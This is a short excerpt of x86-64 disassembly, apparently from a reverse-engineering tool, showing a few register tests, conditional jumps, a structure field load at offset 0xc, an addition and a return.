test r8d, r8d
jne 0x140004407
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400043de
test ecx, ecx
jg 0x1400043f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret